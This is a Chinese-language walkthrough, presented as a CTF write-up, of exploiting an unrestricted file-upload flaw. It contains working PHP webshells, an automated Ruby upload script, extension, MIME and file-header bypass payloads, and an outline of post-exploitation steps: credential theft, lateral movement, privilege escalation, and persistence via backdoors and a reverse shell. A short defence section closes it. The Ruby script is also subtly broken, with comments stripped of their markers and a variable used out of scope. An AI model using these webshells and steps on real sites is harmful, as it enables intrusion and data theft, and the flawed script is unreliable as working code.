一、文件上传漏洞的真实案例:一次渗透中的意外收获

有一次在参与一个CTF比赛时,我的目标是一个看似普通的企业官网型站点,网站功能简单,包括新闻发布、留言板、用户上传头像等模块。初期信息收集时并没有发现特别明显的漏洞,直到我在文件上传处做了一些尝试,才意识到这个地方潜藏着巨大的攻击面。

整个文件上传模块没有限制文件类型,同时也没有对上传后的文件路径进行严格控制,这意味着上传的文件可以被直接访问。不仅如此,服务器也未对用户上传的内容进行严格的内容检测,比如文件类型、文件扩展名等。于是,我决定尝试利用这个漏洞,在服务器上执行恶意代码。最终,经过一系列操作,我成功拿到了目标服务器的权限。

接下来,我将以实战为例,详细讲解如何从文件上传漏洞入手,完成一次完整的攻击链。

---

二、发现漏洞的细节:从普通上传到权限获取

在渗透的初期阶段,我对目标站点的上传功能进行了测试,发现它的文件上传接口在前端并没有明确限制上传的文件类型。通常,这种情况意味着服务器端可能只做了简单的检查。这给了我一个尝试的方向:上传一个恶意的文件,看服务器是否会接收。

初步测试

我首先尝试上传一个普通的 .jpg 文件,观察是否可以成功上传。果然,用户上传头像功能对 .jpg 文件是完全允许的,并且上传后文件可以通过一个公开 URL 直接访问。

接着,我尝试上传一个包含 PHP 代码的文件,并将文件后缀伪装为 .jpg,例如 shell.jpg。文件内容如下:

<pre><code class="language-php">&lt;?php echo system($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>

上传后,我发现服务器并没有针对文件内容进行检查,只是简单地检测后缀是否符合图片类型。更令人震惊的是,上传后的文件路径依然可以直接访问。当我通过访问路径时,发现 PHP 代码被成功执行。

深入挖掘漏洞的攻击面

黑客示意图

进一步测试发现,上传的文件路径是固定的,例如:

<pre><code>http://target.com/uploads/shell.jpg</code></pre>

这意味着只要我知道上传后的路径,就可以通过浏览器直接访问,并在 URL 参数中执行命令。这种情况通常是由于开发者对文件上传功能的处理过于简单,认为只要限制扩展名或者在前端设置类型验证就足够了,而忽略了实际的内容验证。

---

三、Payload构造的艺术:从普通代码到武器化利用

为了更灵活地控制目标服务器,我需要构造一个更强大的 Webshell,而不仅仅是简单的 system 命令执行代码。我在这里使用了一个改进版的 PHP Webshell,并结合 Ruby 写了一个自动化上传脚本,方便在实际攻击中使用。

Webshell代码示例

以下是一个简单的 Webshell,支持基本文件操作和命令执行:

<pre><code class="language-php">&lt;?php if(isset($_GET[&#039;cmd&#039;])){ echo &quot;&lt;pre&gt;&quot;; system($_GET[&#039;cmd&#039;]); echo &quot;&lt;/pre&gt;&quot;; } elseif(isset($_GET[&#039;upload&#039;])){ $file = $_FILES[&#039;file&#039;]; move_uploaded_file($file[&#039;tmp_name&#039;], $file[&#039;name&#039;]); echo &quot;File uploaded!&quot;; } ?&gt;</code></pre>

这个 Webshell 包含两个功能:

  1. 命令执行:通过 cmd 参数执行任意命令。
  2. 文件上传:攻击者可以通过发送文件来进一步扩展攻击能力。

Ruby实现自动化上传脚本

黑客示意图

为了提高效率,我写了一个 Ruby 脚本,自动上传恶意文件并测试可执行性:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;mime/types&#039;

设置目标URL

url = URI(&quot;http://target.com/uploads&quot;) target_file = &quot;shell.php&quot;

构造上传请求

def upload_file(url, file_path) req = Net::HTTP::Post::Multipart.new(url.path, &quot;file&quot; =&gt; UploadIO.new(file_path, &quot;image/jpeg&quot;, target_file)) response = Net::HTTP.start(url.hostname, url.port) do |http| http.request(req) end puts &quot;[+] File uploaded: #{response.code}&quot; end

测试上传后的路径

def test_webshell(url) shell_url = url.to_s + &quot;/#{target_file}?cmd=id&quot; response = Net::HTTP.get_response(URI(shell_url)) puts &quot;[+] Webshell response: #{response.body}&quot; end

主逻辑

file_path = &quot;./shell.php&quot; upload_file(url, file_path) test_webshell(url)</code></pre>

运行这个脚本后,我能够自动上传恶意文件并测试文件是否成功执行,大大提升了攻击效率。

黑客示意图

---

四、绕过限制的技巧:突破文件类型检查

在一些情况下,服务器可能会增加文件类型验证,但这些验证通常基于文件后缀或者 MIME 类型。在这种情况下,可以尝试绕过验证:

方法一:双重扩展名

上传文件时,可以使用双重扩展名,例如:

黑客示意图

<pre><code>shell.php.jpg</code></pre>

许多服务器会误认为这是一个图片文件,但实际上它可以被解析为 PHP 代码。

方法二:改写 MIME 类型

通过工具(例如 Burp Suite),可以在上传时修改文件的 MIME 类型,伪装成合法类型。例如,将文件类型设置为 image/jpeg

方法三:伪造文件内容

针对一些简单的内容检查,可以在文件开头加入图片文件头,例如:

<pre><code>\xFF\xD8\xFF\xE0 # JPEG文件头 &lt;?php echo system($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>

这种方式能够绕过许多基于内容的验证。

---

五、不只是拿权限:如何利用进一步扩展攻击

拿到服务器权限后,不要急于清空环境或结束操作,真正的攻击者会尝试扩大控制权限。我通常会做以下几件事:

  1. 信息收集:获取服务器中的敏感文件,例如配置文件(config.php),以寻找数据库的账号密码。
  2. 横向移动:通过获得的账号密码,尝试登录其他服务(例如 SSH、数据库)。
  3. 权限提升:通过提权漏洞或者弱配置,获取更高权限,例如 root 权限。
  4. 持久化控制:上传后门文件,设置定时任务或者隐藏的反向 shell。

---

六、检测与防御:从攻击者视角看漏洞防御

在我的经验里,文件上传漏洞几乎总能找到防御的薄弱点。为了有效地防御,应该从以下几个方面着手:

服务端严格验证

  1. 文件类型应该通过服务器端检测,而不仅仅是依赖前端验证。
  2. 使用白名单策略,仅允许明确的文件类型(例如图片、PDF)。

内容安全检查

  1. 使用工具检测文件内容,例如检查文件头是否与扩展名一致。
  2. 禁止上传文件包含可执行代码,例如 PHP、JS。

上传路径隔离

  1. 将上传的文件存储到不可执行的独立路径,防止直接通过 URL 访问。
  2. 文件名应该随机化,避免被猜测。

日志与监控

  1. 对用户上传行为进行日志记录,检测异常操作,例如频繁上传文件。
  2. 使用 WAF(Web应用防火墙)拦截恶意上传操作。

---

七、实战总结:从漏洞利用到心得体会

通过这个案例,我从文件上传漏洞入手,完成了完整的攻击链。从发现漏洞到上传 Webshell,再到权限扩大,每一步都是对目标站点的精细研究和操作。以下是我的几点心得:

  1. 细节决定成败:漏洞通常隐藏在不起眼的地方,比如文件上传模块。
  2. 工具是加分项:Ruby、Python等语言能快速实现自动化攻击脚本。
  3. 攻击思维很重要:从攻击者视角出发,寻找漏洞的利用方式和扩展可能。

希望这篇文章能帮助你理解文件上传漏洞的攻击原理和实战流程。当然,记住所有技术仅限合法授权环境下使用。